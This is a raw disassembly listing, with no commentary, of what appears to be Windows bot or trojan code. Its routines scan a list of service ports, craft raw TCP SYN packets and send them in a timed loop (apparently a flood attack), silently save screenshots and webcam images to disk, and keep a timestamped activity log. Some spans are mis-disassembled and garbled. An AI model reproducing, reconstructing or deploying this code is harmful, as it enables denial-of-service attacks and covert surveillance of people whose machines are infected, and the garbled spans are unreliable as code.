		mov	dword ptr [ebp-3Ch], 5DCh
		mov	dword ptr [ebp-38h], 6B8h
		mov	dword ptr [ebp-34h], 0CEAh
		mov	dword ptr [ebp-30h], 0D3Dh
		mov	dword ptr [ebp-2Ch], 1388h
		mov	dword ptr [ebp-28h], 1A0Bh
		mov	dword ptr [ebp-24h], 1F40h
		mov	dword ptr [ebp-20h], 1F90h
		rep stosd
		mov	[ebp-10h], ebx
		mov	dword ptr [ebp-1Ch], 3
		mov	dword ptr [ebp-18h], 0BB8h
		mov	[ebp-4], ebx


loc_41536E:				; CODE XREF: seg000:004153E9j
		mov	eax, [ebp+8]
		mov	word ptr [ebp-9Ch], 2
		mov	[ebp-98h], eax
		mov	eax, [ebp-4]
		lea	edi, [ebp+eax-8Ch]
		mov	ax, [ebp+eax-8Ch]
		push	eax
		call	ds:dword_4D11F0
		push	ebx
		push	1
		push	2
		mov	[ebp-9Ah], ax
		call	ds:dword_4D1270
		lea	ecx, [ebp-1Ch]
		mov	[ebp-0Ch], eax
		push	ecx
		lea	ecx, [ebp-9Ch]
		push	10h
		push	ecx
		push	eax
		call	sub_41513F
		add	esp, 10h
		mov	[ebp-8], eax
		push	dword ptr [ebp-0Ch]
		call	ds:dword_4D1288
		cmp	[ebp-8], ebx
		jnz	short loc_4153E1
		mov	ecx, [ebp-4]
		mov	eax, [edi]
		mov	[ebp+ecx-10Ch],	eax


loc_4153E1:				; CODE XREF: seg000:004153D3j
		add	dword ptr [ebp-4], 4
		cmp	dword ptr [ebp-4], 70h
		jl	short loc_41536E
		mov	edi, offset dword_4D4A1C
		push	offset asc_43368C ; " "
		push	edi
		call	sub_41BF36
		pop	ecx
		pop	ecx
		call	esi ; dword_4270A8
		mov	[ebp-0Ch], eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-4], ebx
		mov	[ebp-8], eax


loc_41540E:				; CODE XREF: seg000:00415464j
		call	esi ; dword_4270A8
		sub	eax, [ebp-0Ch]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+0Ch]
		ja	short loc_415466
		mov	eax, [ebp-8]
		mov	eax, [eax]
		cmp	eax, ebx
		jz	short loc_41543F
		push	eax
		push	edi
		push	offset aSD	; "%s%d	"
		push	edi
		mov	[ebp-10h], eax
		call	sub_41BF36
		add	esp, 10h
		jmp	short loc_415459
; ---------------------------------------------------------------------------


loc_41543F:				; CODE XREF: seg000:00415428j
		push	0FFFFh
		push	ebx
		call	sub_418F1D
		pop	ecx
		pop	ecx
		push	eax
		call	ds:dword_4D11F0
		movzx	eax, ax
		mov	[ebp-10h], eax


loc_415459:				; CODE XREF: seg000:0041543Dj
		inc	dword ptr [ebp-4]
		add	dword ptr [ebp-8], 4
		cmp	dword ptr [ebp-4], 1Ch
		jl	short loc_41540E


loc_415466:				; CODE XREF: seg000:0041541Fj
					; seg000:0041569Fj
		push	28h
		push	ebx
		push	offset byte_4D49B8
		call	sub_41BC40
		mov	esi, 0FFFFh
		mov	ds:byte_4D49B8,	45h
		push	esi
		push	400h
		mov	ds:byte_4D49C1,	6
		mov	ds:byte_4D49B9,	8
		call	sub_418F1D
		add	esp, 14h
		push	eax
		call	ds:dword_4D11F0
		push	28h
		mov	ds:word_4D49BC,	ax
		call	ds:dword_4D11F0
		or	ds:byte_4D49C0,	0FFh
		cmp	ds:dword_4D49A8, ebx
		mov	ds:word_4D49BA,	ax
		mov	ds:word_4D49BE,	bx
		jnz	short loc_4154E6
		push	0FFFEh
		push	1
		call	sub_418F1D
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+8]
		shl	eax, 10h
		and	ecx, esi
		or	eax, ecx
		jmp	short loc_4154F1
; ---------------------------------------------------------------------------


loc_4154E6:				; CODE XREF: seg000:004154CAj
		push	offset dword_4D4388
		call	ds:dword_4D1230


loc_4154F1:				; CODE XREF: seg000:004154E4j
		mov	ds:dword_4D49C4, eax
		mov	eax, [ebp+8]
		push	4000h
		mov	ds:dword_4D49C8, eax
		mov	ds:byte_4D49D9,	bl
		call	ds:dword_4D11F0
		push	esi
		push	ebx
		mov	ds:word_4D49DA,	ax
		call	sub_418F1D
		mov	edi, eax
		push	esi
		push	ebx
		shl	edi, 8
		call	sub_418F1D
		add	esp, 10h
		add	edi, eax
		push	edi
		call	ds:dword_4D11EC
		mov	ds:dword_4D49D0, eax
		mov	al, ds:byte_4D49D8
		mov	edi, [ebp+8]
		and	al, 0Fh
		or	al, 50h
		push	14h
		mov	ds:byte_4D49D8,	al
		mov	ax, [ebp-10h]
		mov	ds:dword_4D49D4, ebx
		mov	ds:word_4D49DE,	bx
		mov	ds:word_4D49CE,	ax
		mov	ds:dword_4D49F4, edi
		mov	ds:byte_4D49F8,	bl
		mov	ds:byte_4D49F9,	6
		call	ds:dword_4D11F0
		mov	ds:word_4D49FA,	ax
		mov	ax, ds:word_4D49CE
		mov	ds:word_4D49E0,	2
		mov	ds:dword_4D49E4, edi
		mov	ds:word_4D49E2,	ax
		mov	[ebp-4], ebx
		jmp	short loc_4155A7
; ---------------------------------------------------------------------------


loc_4155A2:				; CODE XREF: seg000:00415679j
		mov	esi, 0FFFFh


loc_4155A7:				; CODE XREF: seg000:004155A0j
		cmp	[ebp-4], ebx
		jnz	short loc_4155DB
		push	esi
		push	ebx
		call	sub_418F1D
		pop	ecx
		pop	ecx
		push	eax
		call	ds:dword_4D11F0
		mov	ds:word_4D49CC,	ax
		mov	eax, ds:dword_4D49C4
		mov	ds:dword_4D49F0, eax
		mov	ds:byte_4D49D9,	2
		mov	ds:dword_4D49D4, ebx
		jmp	short loc_4155FA
; ---------------------------------------------------------------------------


loc_4155DB:				; CODE XREF: seg000:004155AAj
		push	esi
		push	ebx
		mov	ds:byte_4D49D9,	10h
		call	sub_418F1D
		pop	ecx
		pop	ecx
		push	eax
		call	ds:dword_4D11F0
		movzx	eax, ax
		mov	ds:dword_4D49D4, eax


loc_4155FA:				; CODE XREF: seg000:004155D9j
		inc	ds:word_4D49BC
		inc	ds:dword_4D49D0
		mov	ax, ds:word_4D49CE
		push	5
		pop	ecx
		mov	esi, offset word_4D49CC
		mov	edi, offset dword_4D49FC
		mov	ds:word_4D49C2,	bx
		mov	ds:word_4D49DC,	bx
		push	14h
		rep movsd
		mov	esi, offset byte_4D49B8
		mov	ds:word_4D49E2,	ax
		push	esi
		call	sub_40ABC3
		push	20h
		push	offset dword_4D49F0
		mov	ds:word_4D49C2,	ax
		call	sub_40ABC3
		add	esp, 10h
		mov	ds:word_4D49DC,	ax
		push	10h
		push	offset word_4D49E0
		push	ebx
		push	28h
		push	esi
		push	ds:dword_4D4A18
		call	ds:dword_4D1254
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 3FFh
		jl	loc_4155A2
		call	ds:dword_4270A8	; GetTickCount
		sub	eax, [ebp-0Ch]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+0Ch]
		ja	short loc_4156A4
		push	dword ptr [ebp+10h]
		call	ds:dword_427064	; Sleep
		jmp	loc_415466
; ---------------------------------------------------------------------------


loc_4156A4:				; CODE XREF: seg000:00415694j
		pop	edi
		pop	esi
		mov	eax, offset dword_4D4A1C
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4156AE	proc near		; CODE XREF: seg000:00408C11p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_4433A0
		mov	edi, 0B8h


loc_4156C2:				; CODE XREF: sub_4156AE+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4156E5
		push	[ebp+arg_0]
		push	esi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4156E5
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_443F20
		jl	short loc_4156C2
		jmp	short loc_415727
; ---------------------------------------------------------------------------


loc_4156E5:				; CODE XREF: sub_4156AE+17j
					; sub_4156AE+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_4433A0[esi]
		push	ebx
		call	sub_41BC40
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41BCA0
		push	9Fh
		lea	eax, dword_4433B8[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41BCA0
		add	esp, 24h
		inc	ds:dword_42B684
		pop	ebx


loc_415727:				; CODE XREF: sub_4156AE+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4156AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41572E	proc near		; CODE XREF: seg000:004043AAp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_43E430
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_4433A0


loc_415758:				; CODE XREF: sub_41572E+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415793
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_43E41C
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41C030
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 2Ch


loc_415793:				; CODE XREF: sub_41572E+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_443F20
		jl	short loc_415758
		pop	edi
		pop	esi
		leave
		retn
sub_41572E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157A6	proc near		; CODE XREF: seg000:00401ECCp
					; seg000:004020E6p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	ds:dword_427130	; GetLocalTime
		mov	ebx, offset dword_4D8E1C
		mov	edi, 80h
		mov	esi, offset dword_4D4E1C


loc_4157C8:				; CODE XREF: sub_4157A6+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4157DF
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41BCA0
		add	esp, 0Ch


loc_4157DF:				; CODE XREF: sub_4157A6+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4157C8
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41C030
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41581A	proc near		; CODE XREF: sub_4018A1+F7p
					; seg000:loc_4020B5p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C830
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4157A6
		add	esp, 14h
		leave
		retn
sub_41581A	endp


; =============== S U B	R O U T	I N E =======================================



sub_415846	proc near		; CODE XREF: seg000:004042A4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4D4E1C
		xor	ecx, ecx


loc_41584D:				; CODE XREF: sub_415846+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D8E1C
		jl	short loc_41584D
		cmp	[esp+arg_C], ecx
		jnz	short loc_41587B
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_43E47C
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_41587B:				; CODE XREF: sub_415846+19j
		push	offset dword_43E468
		call	sub_4157A6
		pop	ecx
		retn
sub_415846	endp

; ---------------------------------------------------------------------------
byte_415887	db 55h			; DATA XREF: seg000:00404354o
; ---------------------------------------------------------------------------
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_4158DA
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_43E4AC
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_4099D2
		add	esp, 14h


loc_4158DA:				; CODE XREF: seg000:004158BAj
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_4158FA
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41BE29
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_4158FA
		mov	[ebp-8], eax


loc_4158FA:				; CODE XREF: seg000:004158E1j
					; seg000:004158F5j
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4D4E1C


loc_415903:				; CODE XREF: seg000:0041595Bj
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_41595D
		cmp	byte ptr [esi],	0
		jz	short loc_41594C
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415932
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415932
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_418832
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41594C


loc_415932:				; CODE XREF: seg000:00415917j
					; seg000:0041591Dj
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_4099D2
		add	esp, 14h


loc_41594C:				; CODE XREF: seg000:0041590Ej
					; seg000:00415930j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D8E1C
		jl	short loc_415903


loc_41595D:				; CODE XREF: seg000:00415909j
		lea	eax, [ebp-31Ch]
		push	offset dword_43E490
		push	eax
		call	sub_41BF36
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_415997
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_4099D2
		add	esp, 14h


loc_415997:				; CODE XREF: seg000:00415975j
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_4157A6
		push	dword ptr [ebp-18h]
		call	sub_40B32A
		pop	ecx
		pop	ecx
		push	esi
; ---------------------------------------------------------------------------
		dw 4DE8h
		dd 34006EA6h
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi


loc_4159B6:				; CODE XREF: seg000:00408D59p
		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	ds:dword_4D11DC
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp-20h], edi
		jz	loc_415BEA
		push	8
		push	edi
		call	ds:dword_4D11F8
		push	0Ah
		push	edi
		mov	[ebp-8], eax
		call	ds:dword_4D11F8
		push	0Ch
		push	edi
		mov	[ebp-0Ch], eax
		call	ds:dword_4D11F8
		cmp	eax, 8
		mov	[ebp-10h], eax
		ja	short loc_415A18
		push	18h
		push	edi
		call	ds:dword_4D11F8
		mov	ebx, 100h
		jmp	short loc_415A1A
; ---------------------------------------------------------------------------


loc_415A18:				; CODE XREF: seg000:00415A06j
		xor	ebx, ebx


loc_415A1A:				; CODE XREF: seg000:00415A16j
		push	edi
		call	ds:dword_4D123C
		cmp	eax, esi
		mov	[ebp-4], eax
		jz	loc_415BCF
		mov	eax, [ebp-8]
		push	esi
		mov	[ebp-80h], eax
		mov	eax, [ebp-0Ch]
		mov	[ebp-7Ch], eax
		mov	ax, [ebp-10h]
		mov	[ebp-76h], ax
		lea	eax, [ebp-18h]
		push	esi
		push	eax
		lea	eax, [ebp-84h]
		push	1
		push	eax
		push	edi
		mov	dword ptr [ebp-84h], 28h
		mov	word ptr [ebp-78h], 1
		mov	[ebp-74h], esi
		mov	[ebp-70h], esi
		mov	[ebp-6Ch], esi
		mov	[ebp-68h], esi
		mov	[ebp-64h], ebx
		mov	[ebp-60h], ebx
		call	ds:dword_4D1234
		cmp	eax, esi
		mov	[ebp-1Ch], eax
		jz	loc_415BDA
		push	eax
		push	dword ptr [ebp-4]
		call	ds:dword_4D10C0
		cmp	eax, esi
		jz	loc_415BDA
		cmp	eax, 0FFFFFFFFh
		jz	loc_415BDA
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-8]
		push	esi
		push	esi
		push	dword ptr [ebp-4]
		call	ds:dword_4D1238
		test	eax, eax
		jz	loc_415BDA
		cmp	ebx, esi
		jz	short loc_415AD7
		lea	eax, [ebp-484h]
		push	eax
		push	ebx
		push	esi
		push	dword ptr [ebp-4]
		call	ds:dword_4D1114
		mov	ebx, eax


loc_415AD7:				; CODE XREF: seg000:00415AC1j
		mov	edi, [ebp-10h]
		mov	ecx, [ebp-8]
		imul	edi, [ebp-0Ch]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp-8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp-26h], eax
		mov	eax, [ebp-0Ch]
		push	esi
		push	esi
		push	40000000h
		push	dword ptr [ebp+8]
		mov	[ebp-50h], eax
		mov	ax, [ebp-10h]
		mov	word ptr [ebp-30h], 4D42h
		mov	[ebp-2Eh], edx
		mov	[ebp-2Ah], si
		mov	[ebp-28h], si
		mov	dword ptr [ebp-58h], 28h
		mov	[ebp-54h], ecx
		mov	word ptr [ebp-4Ch], 1
		mov	[ebp-4Ah], ax
		mov	[ebp-48h], esi
		mov	[ebp-44h], esi
		mov	[ebp-40h], esi
		mov	[ebp-3Ch], esi
		mov	[ebp-38h], ebx
		mov	[ebp-34h], esi
		call	ds:dword_4270EC	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	short loc_415BBA
		lea	ecx, [ebp-14h]
		push	esi
		push	ecx
		lea	ecx, [ebp-30h]
		push	0Eh
		push	ecx
		push	eax
		call	near ptr 0B00000h
		inc	edx
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		lea	eax, [ebp-58h]
		push	28h
		push	eax
		push	dword ptr [ebp+8]
		call	near ptr 0B00000h
		push	ds
		cmp	ebx, esi
		jz	short near ptr loc_415B9B+1
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		lea	eax, [ebp-484h]
		push	dword ptr [ebp-8]
		push	eax
		push	dword ptr [ebp+8]
		call	near ptr 0B00000h


loc_415B9B:				; CODE XREF: seg000:00415B82j
		rep lea	eax, [ebp-14h]
		push	esi
		push	eax
		push	edi
		push	dword ptr [ebp-18h]
		push	dword ptr [ebp+8]
		call	near ptr 0B00000h
		lodsd
		push	dword ptr [ebp+8]
		call	ds:dword_42706C	; CloseHandle
		push	1
		pop	esi


loc_415BBA:				; CODE XREF: seg000:00415B58j
		push	dword ptr [ebp-1Ch]
		call	ds:dword_4D114C
		push	dword ptr [ebp-4]
		call	ds:dword_4D10AC
		mov	edi, [ebp-20h]


loc_415BCF:				; CODE XREF: seg000:00415A26j
		push	edi
		call	ds:dword_4D10AC
		mov	eax, esi
		jmp	short loc_415BEC
; ---------------------------------------------------------------------------


loc_415BDA:				; CODE XREF: seg000:00415A7Dj
					; seg000:00415A8Fj ...
		push	edi
		call	ds:dword_4D10AC
		push	dword ptr [ebp-4]
		call	ds:dword_4D10AC


loc_415BEA:				; CODE XREF: seg000:004159D9j
		xor	eax, eax


loc_415BEC:				; CODE XREF: seg000:00415BD8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BF1	proc near		; CODE XREF: seg000:00408E80p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	ds:dword_4D8E20
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	ds:dword_4D1140
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415C2F
		mov	eax, esi
		jmp	loc_415DE5
; ---------------------------------------------------------------------------


loc_415C2F:				; CODE XREF: sub_415BF1+35j
		push	edi
		call	ds:dword_4D1190
		test	eax, eax
		jz	short loc_415C4C
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	ds:dword_4D124C
		jmp	short loc_415C4E
; ---------------------------------------------------------------------------


loc_415C4C:				; CODE XREF: sub_415BF1+47j
		xor	eax, eax


loc_415C4E:				; CODE XREF: sub_415BF1+59j
		cmp	eax, ebx
		jnz	short loc_415C59


loc_415C52:				; CODE XREF: sub_415BF1+88j
					; sub_415BF1+BCj
		mov	ebx, esi
		jmp	loc_415DDA
; ---------------------------------------------------------------------------


loc_415C59:				; CODE XREF: sub_415BF1+5Fj
		push	edi
		call	ds:dword_4D1190
		test	eax, eax
		jz	short loc_415C76
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	ds:dword_4D124C


loc_415C76:				; CODE XREF: sub_415BF1+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415C52
		push	edi
		call	ds:dword_4D1190
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_415C9C
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	ds:dword_4D124C
		mov	[ebp+arg_4], eax
		jmp	short loc_415C9F
; ---------------------------------------------------------------------------


loc_415C9C:				; CODE XREF: sub_415BF1+98j
		mov	[ebp+arg_4], ebx


loc_415C9F:				; CODE XREF: sub_415BF1+A9j
		push	[ebp+arg_4]
		call	sub_41BBCB
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415C52
		push	[ebp+arg_4]
		call	sub_41BBCB
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_415CC6
		push	1
		pop	ebx
		jmp	loc_415DDA
; ---------------------------------------------------------------------------


loc_415CC6:				; CODE XREF: sub_415BF1+CBj
		push	[ebp+var_4]
		call	ds:dword_4D1190
		test	eax, eax
		jz	short loc_415CE3
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	ds:dword_4D124C


loc_415CE3:				; CODE XREF: sub_415BF1+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	near ptr sub_41C9B0
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415CFE
		mov	ecx, 280h


loc_415CFE:				; CODE XREF: sub_415BF1+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415D0A
		mov	eax, 1E0h


loc_415D0A:				; CODE XREF: sub_415BF1+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	ds:dword_4D1190
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_415D54
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	ds:dword_4D124C


loc_415D54:				; CODE XREF: sub_415BF1+153j
		push	[ebp+var_4]
		call	ds:dword_4D1190
		test	eax, eax
		jz	short loc_415D71
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	ds:dword_4D124C


loc_415D71:				; CODE XREF: sub_415BF1+16Ej
		push	[ebp+var_4]
		call	ds:dword_4D1190
		test	eax, eax
		jz	short loc_415D90
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	ds:dword_4D124C


loc_415D90:				; CODE XREF: sub_415BF1+18Bj
		push	[ebp+var_4]
		call	ds:dword_4D1190
		test	eax, eax
		jz	short loc_415DAD
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	ds:dword_4D124C


loc_415DAD:				; CODE XREF: sub_415BF1+1AAj
		push	[ebp+var_8]
		call	sub_41B961
		push	esi
		call	sub_41B961
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_4D1190
		test	eax, eax
		jz	short loc_415DDA
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	ds:dword_4D124C


loc_415DDA:				; CODE XREF: sub_415BF1+63j
					; sub_415BF1+D0j ...
		push	[ebp+var_4]
		call	ds:dword_4D12A0
		mov	eax, ebx


loc_415DE5:				; CODE XREF: sub_415BF1+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415BF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DEA	proc near		; CODE XREF: seg000:00408F38p

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	ds:dword_4D8E20
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	ds:dword_4D1140
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_415E28
		mov	eax, esi
		jmp	loc_416024
; ---------------------------------------------------------------------------


loc_415E28:				; CODE XREF: sub_415DEA+35j
		push	edi
		call	ds:dword_4D1190
		test	eax, eax
		jz	short loc_415E45
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	ds:dword_4D124C
		jmp	short loc_415E47
; ---------------------------------------------------------------------------


loc_415E45:				; CODE XREF: sub_415DEA+47j
		xor	eax, eax


loc_415E47:				; CODE XREF: sub_415DEA+59j
		cmp	eax, ebx
		jnz	short loc_415E52


loc_415E4B:				; CODE XREF: sub_415DEA+8Bj
					; sub_415DEA+BCj
		mov	ebx, esi
		jmp	loc_41601B
; ---------------------------------------------------------------------------


loc_415E52:				; CODE XREF: sub_415DEA+5Fj
		push	edi
		call	ds:dword_4D1190
		test	eax, eax
		jz	short loc_415E72
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	ds:dword_4D124C


loc_415E72:				; CODE XREF: sub_415DEA+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415E4B
		push	edi
		call	ds:dword_4D1190
		test	eax, eax
		jz	short loc_415E95
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	ds:dword_4D124C
		mov	[ebp+arg_4], eax
		jmp	short loc_415E98
; ---------------------------------------------------------------------------


loc_415E95:				; CODE XREF: sub_415DEA+96j
		mov	[ebp+arg_4], ebx


loc_415E98:				; CODE XREF: sub_415DEA+A9j
		push	[ebp+arg_4]
		call	sub_41BBCB
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415E4B
		push	[ebp+arg_4]
		call	sub_41BBCB
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_415EBF
		push	1
		pop	ebx
		jmp	loc_41601B
; ---------------------------------------------------------------------------


loc_415EBF:				; CODE XREF: sub_415DEA+CBj
		push	edi
		call	ds:dword_4D1190
		test	eax, eax
		jz	short loc_415EDC
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	ds:dword_4D124C


loc_415EDC:				; CODE XREF: sub_415DEA+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	near ptr sub_41C9B0
